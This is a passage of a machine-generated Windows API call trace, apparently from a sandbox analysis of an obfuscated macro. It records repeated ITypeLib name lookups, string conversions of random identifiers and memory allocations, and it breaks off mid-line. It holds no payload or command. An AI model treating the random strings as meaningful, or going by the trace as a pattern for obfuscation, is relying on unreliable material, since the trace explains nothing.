ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_liABVz", lHashVal=0x106255, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.951] IUnknown:Release (This=0x7345930) returned 0x7 [0018.951] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.951] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_liABVz", lHashVal=0x106255, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.951] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.952] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.952] IUnknown:Release (This=0x7919520) returned 0x10 [0018.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77564, cbMultiByte=10, lpWideCharStr=0xd112bea, cchWideChar=22 | out: lpWideCharStr="vDuTTlkSZw") returned 10 [0018.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7757e, cbMultiByte=10, lpWideCharStr=0xd113034, cchWideChar=22 | out: lpWideCharStr="nKiKpKVQpR") returned 10 [0018.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77592, cbMultiByte=10, lpWideCharStr=0xd1131de, cchWideChar=22 | out: lpWideCharStr="KvvFPQZAEs") returned 10 [0018.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb775a6, cbMultiByte=10, lpWideCharStr=0xd113388, cchWideChar=22 | out: lpWideCharStr="wFBmAHBLkz") returned 10 [0018.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb775ba, cbMultiByte=10, lpWideCharStr=0xd113532, cchWideChar=22 | out: lpWideCharStr="bwwvcYoOAP") returned 10 [0018.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb775ce, cbMultiByte=10, lpWideCharStr=0xd1136dc, cchWideChar=22 | out: lpWideCharStr="BzwFFzIpDC") returned 10 [0018.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb775e2, cbMultiByte=10, lpWideCharStr=0xd113886, cchWideChar=22 | out: lpWideCharStr="LkOjwhJsKh") returned 10 [0018.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb775f6, cbMultiByte=10, lpWideCharStr=0xd113a30, cchWideChar=22 | out: lpWideCharStr="IKjqpMzAcq") returned 10 [0018.952] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd120000 [0018.969] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vKHmZAXi") returned 0x10a89e [0018.969] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="vKHmZAXi" | out: _Dst="vKHmZAXi") returned 0x0 [0018.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="vKHmZAXi") returned 9 [0018.969] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.969] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="vKHmZAXi", lHashVal=0x10a89e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.969] IUnknown:Release (This=0x7919520) returned 0x10 [0018.969] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.969] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="vKHmZAXi", lHashVal=0x10a89e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.969] IUnknown:Release (This=0x7346470) returned 0xb [0018.969] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.969] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="vKHmZAXi", lHashVal=0x10a89e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.969] IUnknown:Release (This=0x7345930) returned 0x7 [0018.969] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.970] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="vKHmZAXi", lHashVal=0x10a89e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.970] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.970] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.970] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_vKHmZAXi" | out: _Dst="_B_var_vKHmZAXi") returned 0x0 [0018.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_vKHmZAXi") returned 16 [0018.970] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.970] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_vKHmZAXi", lHashVal=0x108027, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.970] IUnknown:Release (This=0x7919520) returned 0x10 [0018.970] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.970] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_vKHmZAXi", lHashVal=0x108027, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.970] IUnknown:Release (This=0x7346470) returned 0xb [0018.970] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.970] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_vKHmZAXi", lHashVal=0x108027, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.970] IUnknown:Release (This=0x7345930) returned 0x7 [0018.970] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.970] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_vKHmZAXi", lHashVal=0x108027, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.970] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.970] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.970] IUnknown:Release (This=0x7919520) returned 0x10 [0018.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77614, cbMultiByte=10, lpWideCharStr=0xd121eac, cchWideChar=22 | out: lpWideCharStr="oSCRQXEiku") returned 10 [0018.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7762e, cbMultiByte=10, lpWideCharStr=0xd1222f6, cchWideChar=22 | out: lpWideCharStr="vCqoOTjXLr") returned 10 [0018.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77642, cbMultiByte=10, lpWideCharStr=0xd1224a0, cchWideChar=22 | out: lpWideCharStr="vIsRqRCDKZ") returned 10 [0018.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77656, cbMultiByte=10, lpWideCharStr=0xd12264a, cchWideChar=22 | out: lpWideCharStr="vKzYMQBPXa") returned 10 [0018.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7766a, cbMultiByte=10, lpWideCharStr=0xd1227f4, cchWideChar=22 | out: lpWideCharStr="mVJLqEUolD") returned 10 [0018.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7767e, cbMultiByte=10, lpWideCharStr=0xd12299e, cchWideChar=22 | out: lpWideCharStr="VNjsOfakaz") returned 10 [0018.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77692, cbMultiByte=10, lpWideCharStr=0xd122b48, cchWideChar=22 | out: lpWideCharStr="UBULzkFSbz") returned 10 [0018.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb776a6, cbMultiByte=10, lpWideCharStr=0xd122cf2, cchWideChar=22 | out: lpWideCharStr="RQAkEZwjal") returned 10 [0018.971] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd130000 [0018.972] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DABWb") returned 0x10d457 [0018.972] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="DABWb" | out: _Dst="DABWb") returned 0x0 [0018.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="DABWb") returned 6 [0018.972] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.972] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="DABWb", lHashVal=0x10d457, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.972] IUnknown:Release (This=0x7919520) returned 0x10 [0018.972] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.972] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="DABWb", lHashVal=0x10d457, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.972] IUnknown:Release (This=0x7346470) returned 0xb [0018.972] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.972] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="DABWb", lHashVal=0x10d457, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.972] IUnknown:Release (This=0x7345930) returned 0x7 [0018.972] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.972] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="DABWb", lHashVal=0x10d457, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.972] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.972] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0018.972] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_DABWb" | out: _Dst="_B_var_DABWb") returned 0x0 [0018.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_DABWb") returned 13 [0018.973] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.973] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_DABWb", lHashVal=0x109844, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.973] IUnknown:Release (This=0x7919520) returned 0x10 [0018.973] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.973] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_DABWb", lHashVal=0x109844, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.973] IUnknown:Release (This=0x7346470) returned 0xb [0018.973] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.973] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_DABWb", lHashVal=0x109844, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.973] IUnknown:Release (This=0x7345930) returned 0x7 [0018.973] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.973] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_DABWb", lHashVal=0x109844, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.973] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.973] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.973] IUnknown:Release (This=0x7919520) returned 0x10 [0018.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb776c4, cbMultiByte=10, lpWideCharStr=0xd13118c, cchWideChar=22 | out: lpWideCharStr="dkUWQhaqCF") returned 10 [0018.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb776de, cbMultiByte=10, lpWideCharStr=0xd1315d6, cchWideChar=22 | out: lpWideCharStr="CEsJwhlpwL") returned 10 [0018.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb776f2, cbMultiByte=10, lpWideCharStr=0xd131780, cchWideChar=22 | out: lpWideCharStr="ubFcPkJZXo") returned 10 [0018.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77706, cbMultiByte=10, lpWideCharStr=0xd13192a, cchWideChar=22 | out: lpWideCharStr="DlzkUkHtDR") returned 10 [0018.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7771a, cbMultiByte=10, lpWideCharStr=0xd131ad4, cchWideChar=22 | out: lpWideCharStr="VQzQwzvhzP") returned 10 [0018.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7772e, cbMultiByte=10, lpWideCharStr=0xd131c7e, cchWideChar=22 | out: lpWideCharStr="MCUVqCfsGf") returned 10 [0018.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77742, cbMultiByte=10, lpWideCharStr=0xd131e28, cchWideChar=22 | out: lpWideCharStr="YASOCRHHoM") returned 10 [0018.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77756, cbMultiByte=10, lpWideCharStr=0xd131fd2, cchWideChar=22 | out: lpWideCharStr="ZrlipdioiR") returned 10 [0018.974] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd140000 [0018.975] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="KUjKS") returned 0x106c4c [0018.975] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="KUjKS" | out: _Dst="KUjKS") returned 0x0 [0018.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="KUjKS") returned 6 [0018.975] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.975] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="KUjKS", lHashVal=0x106c4c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.975] IUnknown:Release (This=0x7919520) returned 0x10 [0018.975] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.975] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="KUjKS", lHashVal=0x106c4c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.975] IUnknown:Release (This=0x7346470) returned 0xb [0018.975] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.975] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="KUjKS", lHashVal=0x106c4c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.975] IUnknown:Release (This=0x7345930) returned 0x7 [0018.975] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.975] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="KUjKS", lHashVal=0x106c4c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.975] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.975] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0018.975] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_KUjKS" | out: _Dst="_B_var_KUjKS") returned 0x0 [0018.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_KUjKS") returned 13 [0018.975] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.975] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_KUjKS", lHashVal=0x103039, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.975] IUnknown:Release (This=0x7919520) returned 0x10 [0018.975] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.975] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_KUjKS", lHashVal=0x103039, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.975] IUnknown:Release (This=0x7346470) returned 0xb [0018.975] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.975] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_KUjKS", lHashVal=0x103039, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.976] IUnknown:Release (This=0x7345930) returned 0x7 [0018.976] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.976] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_KUjKS", lHashVal=0x103039, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.976] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.976] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.976] IUnknown:Release (This=0x7919520) returned 0x10 [0018.976] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77774, cbMultiByte=42, lpWideCharStr=0xd14046c, cchWideChar=86 | out: lpWideCharStr="psQwWDmslpjwdYvbjRYbrZNpXcqaKA%CoUAjonwYaf") returned 42 [0018.976] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hdLRa") returned 0x10a1cc [0018.976] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="hdLRa" | out: _Dst="hdLRa") returned 0x0 [0018.976] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="hdLRa") returned 6 [0018.976] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.976] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="hdLRa", lHashVal=0x10a1cc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.976] IUnknown:Release (This=0x7919520) returned 0x10 [0018.976] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.976] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="hdLRa", lHashVal=0x10a1cc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.976] IUnknown:Release (This=0x7346470) returned 0xb [0018.976] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.976] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="hdLRa", lHashVal=0x10a1cc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.976] IUnknown:Release (This=0x7345930) returned 0x7 [0018.976] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.976] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="hdLRa", lHashVal=0x10a1cc, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.976] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.976] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0018.976] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_hdLRa" | out: _Dst="_B_var_hdLRa") returned 0x0 [0018.976] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_hdLRa") returned 13 [0018.976] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.976] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_hdLRa", lHashVal=0x1065b9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.976] IUnknown:Release (This=0x7919520) returned 0x10 [0018.976] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.976] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_hdLRa", lHashVal=0x1065b9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.976] IUnknown:Release (This=0x7346470) returned 0xb [0018.976] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.976] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_hdLRa", lHashVal=0x1065b9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.976] IUnknown:Release (This=0x7345930) returned 0x7 [0018.976] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.976] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_hdLRa", lHashVal=0x1065b9, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.977] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.977] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.977] IUnknown:Release (This=0x7919520) returned 0x10 [0018.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb777b4, cbMultiByte=10, lpWideCharStr=0xd1411de, cchWideChar=22 | out: lpWideCharStr="zOSGDhbEJj") returned 10 [0018.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb777ce, cbMultiByte=10, lpWideCharStr=0xd141628, cchWideChar=22 | out: lpWideCharStr="qRpYGlBwMG") returned 10 [0018.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb777e2, cbMultiByte=10, lpWideCharStr=0xd1417d2, cchWideChar=22 | out: lpWideCharStr="zBMnlFMwop") returned 10 [0018.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb777f6, cbMultiByte=10, lpWideCharStr=0xd14197c, cchWideChar=22 | out: lpWideCharStr="huKoBFjNHR") returned 10 [0018.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7780a, cbMultiByte=10, lpWideCharStr=0xd141b26, cchWideChar=22 | out: lpWideCharStr="JBJvHAbcdS") returned 10 [0018.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7781e, cbMultiByte=10, lpWideCharStr=0xd141cd0, cchWideChar=22 | out: lpWideCharStr="YAUUmvCiVw") returned 10 [0018.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77832, cbMultiByte=10, lpWideCharStr=0xd141e7a, cchWideChar=22 | out: lpWideCharStr="VcPUzvGAWB") returned 10 [0018.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77846, cbMultiByte=10, lpWideCharStr=0xd142024, cchWideChar=22 | out: lpWideCharStr="CnquwwsQjk") returned 10 [0018.978] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd150000 [0018.979] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="XwltIipWLvz") returned 0x100606 [0018.979] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="XwltIipWLvz" | out: _Dst="XwltIipWLvz") returned 0x0 [0018.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="XwltIipWLvz") returned 12 [0018.979] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.979] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="XwltIipWLvz", lHashVal=0x100606, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.979] IUnknown:Release (This=0x7919520) returned 0x10 [0018.979] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.979] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="XwltIipWLvz", lHashVal=0x100606, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.979] IUnknown:Release (This=0x7346470) returned 0xb [0018.979] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.979] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="XwltIipWLvz", lHashVal=0x100606, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.979] IUnknown:Release (This=0x7345930) returned 0x7 [0018.979] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.979] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="XwltIipWLvz", lHashVal=0x100606, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.979] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.979] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0018.979] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_XwltIipWLvz" | out: _Dst="_B_var_XwltIipWLvz") returned 0x0 [0018.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_XwltIipWLvz") returned 19 [0018.979] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.979] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_XwltIipWLvz", lHashVal=0x10f7a7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.979] IUnknown:Release (This=0x7919520) returned 0x10 [0018.979] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.979] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_XwltIipWLvz", lHashVal=0x10f7a7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.979] IUnknown:Release (This=0x7346470) returned 0xb [0018.979] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.979] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_XwltIipWLvz", lHashVal=0x10f7a7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.979] IUnknown:Release (This=0x7345930) returned 0x7 [0018.979] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.979] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_XwltIipWLvz", lHashVal=0x10f7a7, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.979] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.979] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.979] IUnknown:Release (This=0x7919520) returned 0x10 [0018.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77864, cbMultiByte=10, lpWideCharStr=0xd1504cc, cchWideChar=22 | out: lpWideCharStr="obcIbAQctS") returned 10 [0018.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7787e, cbMultiByte=10, lpWideCharStr=0xd150916, cchWideChar=22 | out: lpWideCharStr="EPnXtVwjOj") returned 10 [0018.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb77892, cbMultiByte=10, lpWideCharStr=0xd150ac0, cchWideChar=22 | out: lpWideCharStr="qnskpUQqfM") returned 10 [0018.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb778a6, 